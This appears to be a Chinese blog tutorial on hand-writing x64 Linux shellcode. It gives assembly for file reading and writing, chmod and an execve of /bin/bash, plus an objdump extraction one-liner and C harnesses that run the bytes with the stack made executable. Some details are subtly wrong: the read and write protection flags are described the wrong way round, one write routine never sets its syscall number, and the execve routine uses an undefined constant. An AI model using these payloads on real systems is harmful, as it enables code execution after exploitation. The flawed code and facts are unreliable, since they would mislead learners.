Linux Shellcode

 

Linux Shellcode_安全分析

 

本篇主要是以x64系统为例对系统调用中一些功能性函数的解读和实际运用。目前网络上流传的通用shellcode，均使用系统调用实现，在记录整个学习过程的同时分享给大家一起学习探讨。

 

0x01 Shellcode 简介

0x1 shellcode

Shellcode 是一段可以执行特定功能的特殊汇编代码，在设备漏洞利用过程中注入到目标程序中从而被执行，在比赛或者是实战中栈溢出漏洞使用的更为频繁，编写Shellcode比编写RopGagdet更为简单，栈溢出的最经典的利用方式是Ret2Shellcode。

0x2 exploit 与 shellcode关系

exploit主要强调执行控制权，而shellcode更关注于有了控制权之后的功能。因此shellcode更像是exploit的载荷，往往对于不同漏洞来讲exploit是特殊的，而shellcode会具有一些通用性。

 

0x02 使用条件

对 shellcode 有了大概的了解之后，看一看其使用场景。一般来说这三点是必备条件，缺一不可，通过控制程序流程跳转到shellcode地址上去。

0x1 拥有程序控制权

这一点毋庸置疑，可以通过栈溢出或者是格式化字符串,堆溢出等漏洞劫持程序的执行流。所以shellcode等的定位是漏洞触发之后的漏洞利用，主要负责实现攻击者的攻击目的。

0x2 拥有shellcode地址

不论是程序拥有随机化还是固定基地址，都需要在跳转之前获取shellcode存储地址，一般采用的技巧是

  • 在程序bss段固定，且程序地址不随机
  • shellcode为程序正常功能输入，在寄存器中保存有其地址
  • 在堆栈附近存在与shellcode地址相关联地址

0x3 shellcode在可执行内存空间

最后跳转到shellcode地址上后需要有可执行权限才能执行。但通常程序开启NX保护后，其内存空间禁止代码执行，这是只能通过mprotect函数修改shellcode内存权限，赋予可执行权限后再跳转。一般利用 RopGagdet 布局mprotect 函数修改内存权限。

Linux Shellcode_字符串_02

重点关注两个方面 start地址和prot取值

1 起始地址

需要指出的是，锁指定的内存区间必须包含整个内存页（4K）。区间开始的地址start必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。

2 prot赋值

prot可以取以下几个值，并且可以用“|”将几个属性合起来使用，括号中的数字是在预编译的时候替换的真实值：

1）PROT_READ(1)：表示内存段内的内容可写；
2）PROT_WRITE(2)：表示内存段内的内容可读；
3）PROT_EXEC(4)：表示内存段中的内容可执行；
4）PROT_NONE(0)：表示内存段中的内容根本没法访问。

 

0x03 编写技巧

打算从系统调用函数、字符串设计、代码模板、shellcode提取这几个发面着手写这部分内容，主要解决以下三大问题：

  • 对系统调用函数不熟悉，特别是为参数赋值问题挠头
  • 对汇编代码编写不熟悉，解决寄存器和内存应用问题
  • 对汇编代码编译不熟悉，解决怎么从编译好的汇编程序中完整提取shellcode问题

0x1 系统调用函数

提到shellcode 就不得不说系统调用，我们首先考虑为什么要写shellcode，其目的是执行一些程序本身不具备的功能，实现攻击者的攻击目的。凑巧的是在汇编语言中有这么一些函数调用基本可以实现所有功能，我们称他们为系统调用函数，通过系统调用可以直接访问系统内核，具有非常强大的功能。

Linux Shellcode_系统调用_03

详细的系统调用表网址如下

https://filippo.io/linux-syscall-table/https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/9.4_linux_syscall.html

系统调用 在汇编代码中表示为syscall（int 0x80）指令，32和64位系统有所区别，二者有单独调用表。

0x2 巧取字符串

初步认识shellcode的编写技巧，先从最简单的例子看起，下面代码如果当作汇编语言执行是完全没有问题的，但是如果做为shellcode的话还是差点火候。这里用两种方法规避这种错误：

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi, MESSAGE
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

编译指令如下

nasm -g -f elf64 -o asm.o asm.s
ld -o asm asm.o

编译过后可以发现字符串位于data段，指针利用的是绝对地址，在shellcode中是不能出现绝对地址，这也是shellcode的头等大忌。

Linux Shellcode_安全分析_04

1 方法一

利用call指令压栈的特性，将字符串的地址压栈之后再pop到寄存器中，在shellcode编写中是一种非常常用的方法。我们可以看到字符串紧跟在call指令之后，因为call压栈就是压的下一条指令的地址，此地址正好为字符串地址。

section .data
    WRITE equ 1
    EXIT  equ 60
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    jmp     getstring
string:
    pop     rsi
    mov     rdx, 5
    syscall
    jmp exit

getstring:
    call string
    MESSAGE db "Hello", 0xa

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 方法二

同时也是利用栈的特性，将字符串计算过大小，以及分割完毕之后就可以分拨压进栈中，保存最后的esp值就可以实现字符串地址的获取。

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start
_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi,0x00000a6f6c6c6548
    push    rsi    
    mov     rsi, rsp
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x3 文件读

1 sys_open

文件读写都需要涉及打开文件操作，是通过内核提供的系统调用sys_open来实现的。具体参数如下：

asmlinkage long sys_open(const char __user *filename, int flags, int mode)

Linux Shellcode_可执行_05

Linux Shellcode_系统调用_06

这里需要注意在文件操作之后，需要利用close函数关闭文件描述符。分别介绍flags和mode参数取值，flags表示在打开文件时标志属性，mode为在创建文件的时候文件属性。

flags
表示只读、只写和创建。如果想赋予多个属性可以用|链接类似于 O_WRONLY|O_CREAT

Name

Value

进制

O_WRONLY

0001

8

O_RDONLY

0000

8

O_CREAT

0100

8

O_RDWR

0002

8

O_APPEND

2000

8

O_TRUNC

1000

8

O_EXCL

0200

8

mode
mode 相关取值表如下，值得注意是mode的表示为8进制，也就是说 777 的rwxrwxrwx 权限是8进制数。用下面的 属性标示为 S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH

Name

Value

标志属性

S_ISUID

04000

文件的 (set user-id on execution)位

S_ISGID

02000

文件的 (set group-id on execution)位

S_ISVTX

01000

文件的sticky 位

S_IRUSR

00400

文件所有者具可读取权限

S_IWUSR

00200

文件所有者具可写入权限

S_IXUSR

00100

文件所有者具可执行权限

S_IRGRP

00040

用户组具可读取权限

S_IWGRP

00020

用户组具可写入权限

S_IXGRP

00010

用户组具可执行权限

S_IROTH

00004

其他用户具可读取权限

S_IWOTH

00002

其他用户具可写入权限

S_IXOTH

00001

其他用户具可执行权限

以666为例其实十进制为438
打开文件用汇编表示为

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "test", 0x00
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 666
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 sys_read

Linux Shellcode_可执行_07

section .data
    OPEN equ 2
    READ equ 0
    EXIT  equ 60
    FILENAME db "xxx", 0x00
    BUFFER db "11111"
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 511
    syscall

    mov     rdi, rax
    mov     rax, READ
    mov     rsi, BUFFER
    mov     rdx, 8
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

上述代码中xxx为二进制文件，如下图成功读出elf内容：

Linux Shellcode_安全分析_08

Linux Shellcode_字符串_09

0x4 文件写

open 操作与之前一样，新增write操作，相关系统调用参数如下：

Linux Shellcode_安全分析_10

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "hehe", 0x00

section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 65
    mov     rdx, 511
    syscall
    mov     rdi, rax
    jmp wirte

wirte:
    mov     rsi, FILENAME
    mov     rdx, 4
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x5 权限修改

在linux中权限修改利用chmod指令，在系统调用的时候采用的sys_chmod函数

Linux Shellcode_可执行_11

在分析open函数时有讨论mode的取值，这里就不再分析
有时在shellcode中需要修改程序的权限

#include <sys/types.h>
#include <sys/stat.h>
main()
{
    chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
}
section .data
    CHMOD equ 90
    EXIT  equ 60
    FILENAME db "xxx", 0x00
section .text
    global _start
_start:
    mov     rax, CHMOD
    mov     rdi, FILENAME
    mov     rsi, 511
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x6 命令执行

system函数中的命令执行用的是syscall execve系统调用。其参数格式如下

Linux Shellcode_安全分析_12

调试system函数内部的参数调用可以看出rax是系统调用号，rdi是filename，rsi是字符串数组

Linux Shellcode_可执行_13

字符串数组内存布局如下

Linux Shellcode_系统调用_14

section .data
    EXECVE equ 59
    FILENAME db "/bin/bash", 0x00
section .text
    global _start
_start:
    mov     rax, EXECVE
    mov     rdi, FILENAME
    mov     rsi, 0
    mov     rdx, 0
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x7 shellcode 提取技巧

这里参照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Linux Shellcode_字符串_15

 

0x04 验证技巧

走到这一步的大哥们都已经编好了自己的shellcode，开始磨刀霍霍向牛羊了，这里介绍两种常用的检查shellcode功能的方法，内联汇编和函数指针。

0x0 关闭栈不可执行

因为在测试时，shellcode在bss段，在关闭NX编译选项之后bss段也拥有了可执行属性，具体操作如下。

注意在编译的时候加上 -z execstack

gcc -o test test.c -z execstack

Linux Shellcode_系统调用_16

Linux Shellcode_安全分析_17

0x1 内联汇编

在linux 下的c语言中主要采用的是 att格式的汇编，这里有个坑，一开始没接触c内联att格式汇编的小盆友们要注意了jmp eax的写法为jmp *%rax

#include<stdio.h>
char shellcode[] = "\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\xeb\x0a\x5e\xba\x05\x00\x00\x00\x0f\x05\xeb\x0b\xe8\xf1\xff\xff\xff\x48\x65\x6c\x6c\x6f\x0a\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05";
int main(int argc, char **argv)
{
        __asm__("lea shellcode,%eax;jmp *%rax");
       return 0;
}

如图中代码所示，rip已经指向jmp rax指令此时的rax就是shellcode那段字符串的地址。因为这段内存拥有可执行，最后成功执行shellcode。

Linux Shellcode_字符串_18

0x2 函数指针

第二种方法大同小异，也是将shellcode放在程序的bss段上，利用之前的编译指令编好后调试。

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\xeb\x0a\x5e\xba\x05\x00\x00\x00\x0f\x05\xeb\x0b\xe8\xf1\xff\xff\xff\x48\x65\x6c\x6c\x6f\x0a\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05";
int main(void)
{
    int (*func)() = (int(*)())shellcode;
    func();
}

Linux Shellcode_安全分析_19

在上述汇编代码中可以看出将shellcode 的地址赋值给了rdx寄存器，后续直接call调用。

 

0x05 总结

简单的记录了常见shellcode功能编写测试方法，本文介绍的还是比较宽泛，也只针对64位系统进行分析，之后会把其他架构还有x86的利用方式慢慢补齐，还请大佬们多指点指点。

 

0x06 参考文献

https://filippo.io/linux-syscall-table/

https://xz.aliyun.com/t/2052


http://www.vividmachines.com/shellcode/shellcode.html